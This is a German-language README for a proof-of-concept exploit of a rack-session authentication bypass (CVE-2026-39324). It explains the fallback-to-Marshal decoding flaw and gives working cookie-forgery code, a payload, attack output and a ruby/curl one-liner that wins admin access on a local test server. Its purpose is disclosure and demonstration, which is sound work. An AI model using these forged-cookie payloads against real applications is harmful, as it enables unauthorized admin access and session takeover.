
Proof-of-Concept-Exploit für die Rack::Cookie-Authentifizierungsumgehung (CVE-2026-39324), das die Sitzungsfälschung über einen Fallback-Coder demonstriert, um Administratorzugriff zu erlangen.
Rack::Session::Cookie-Entschlüsselungsfehler führt dazu, dass unverschlüsselte Cookies akzeptiert werden
| Advisory | GHSA-33qg-7wpp-89cq |
| Paket | rack-session (RubyGems) |
| Betroffen | <= 2.1.1 |
| Behoben | 2.1.2 |
Rack::Session::Cookie mit secrets: sollte nur verschlüsselte Cookies akzeptieren. Aber wenn die Entschlüsselung fehlschlägt, wird das Cookie nicht abgelehnt — es fällt auf den Standard-Base64::Marshal-Coder zurück.
Ein Angreifer kann ein einfaches Base64(Marshal.dump(...))-Cookie senden, und der Server akzeptiert es als gültige Sitzungsdaten, ohne ein Geheimnis zu kennen.
rack-session <= 2.1.1Rack::Session::Cookie mit secrets:-Optionuser_id, role, etc.) für die AutorisierungNicht betroffen:
secret: (Singular) — verwendet HMAC-Signierung, anderer Codepfad. Nur secrets: (Plural, verschlüsselter Cookie-Modus) ist verwundbar.ActionDispatch::Session::CookieStore, separate Implementierung.# lib/rack/session/cookie.rb
# Fallback-Coder wird immer erstellt, unabhängig von der secrets:-Konfiguration
@coder = options[:coder] ||= Base64::Marshal.new
# Versucht zu entschlüsseln — alle schlagen für ein unverschlüsseltes Cookie fehl
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# FEHLER: lehnt nicht ab, fällt auf unverschlüsselten Coder zurück
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
Ein Entschlüsselungsfehler auf dem secrets:-Pfad sollte endgültig sein. Stattdessen wird das Cookie an coder.decode() übergeben, sodass einfache Cookies als Sitzungsdaten geladen werden.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Rack-App mit secrets:-Konfiguration
├── verify.rb Basisprüfung (normales Verhalten)
└── attack.rb Sitzungsfälschung (der Exploit)
cd poc
bundle install
ruby server.rb & # verwundbaren Server starten
ruby verify.rb # normales Verhalten bestätigen
ruby attack.rb # Cookie fälschen → Admin-Zugriff
Rack-App mit secrets: für verschlüsselte Cookies. Zwei Benutzer: id=1 (regulär), id=2 (Admin). Nur user_id wird in der Sitzung gespeichert; die Admin-Prüfung ist eine serverseitige Abfrage.
Bestätigt, dass der Server korrekt funktioniert:
| Anfrage | Erwartet |
|---|---|
GET /admin (kein Cookie) | 403 |
POST /login?id=1 | 200, verschlüsseltes Cookie |
GET /admin (Benutzer-Cookie id=1) | 403 |
Fälscht ein Sitzungs-Cookie ohne ein Geheimnis.
1) Cookie fälschen:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Serverseitiger Ablauf beim Empfang des gefälschten Cookies:
encryptor #1 decrypt → HMAC ungültig
encryptor #2 decrypt → HMAC ungültig
Fallback → coder.decode() → Marshal.load → Angreifer-Sitzung akzeptiert
→ session["user_id"] = 2 → Admin-Benutzer aufgelöst → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Sitzungsfälschung ---
Ziel: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Sitzungs-Cookie-Verschlüsselungsfehler: HMAC ist ungültig ← encryptor #1 fehlgeschlagen
Sitzungs-Cookie-Verschlüsselungsfehler: HMAC ist ungültig ← encryptor #2 fehlgeschlagen, aber Cookie nicht abgelehnt
Status: 200
Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VERWUNDBAR — gefälschte user_id=2 akzeptiert, Admin-Zugriff gewährt.
Beide HMAC-Prüfungen schlagen fehl, aber das Cookie wird nicht abgelehnt — der Fallback-Coder akzeptiert es und der Angreifer erhält Admin-Zugriff.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session auf >= 2.1.2 aktualisieren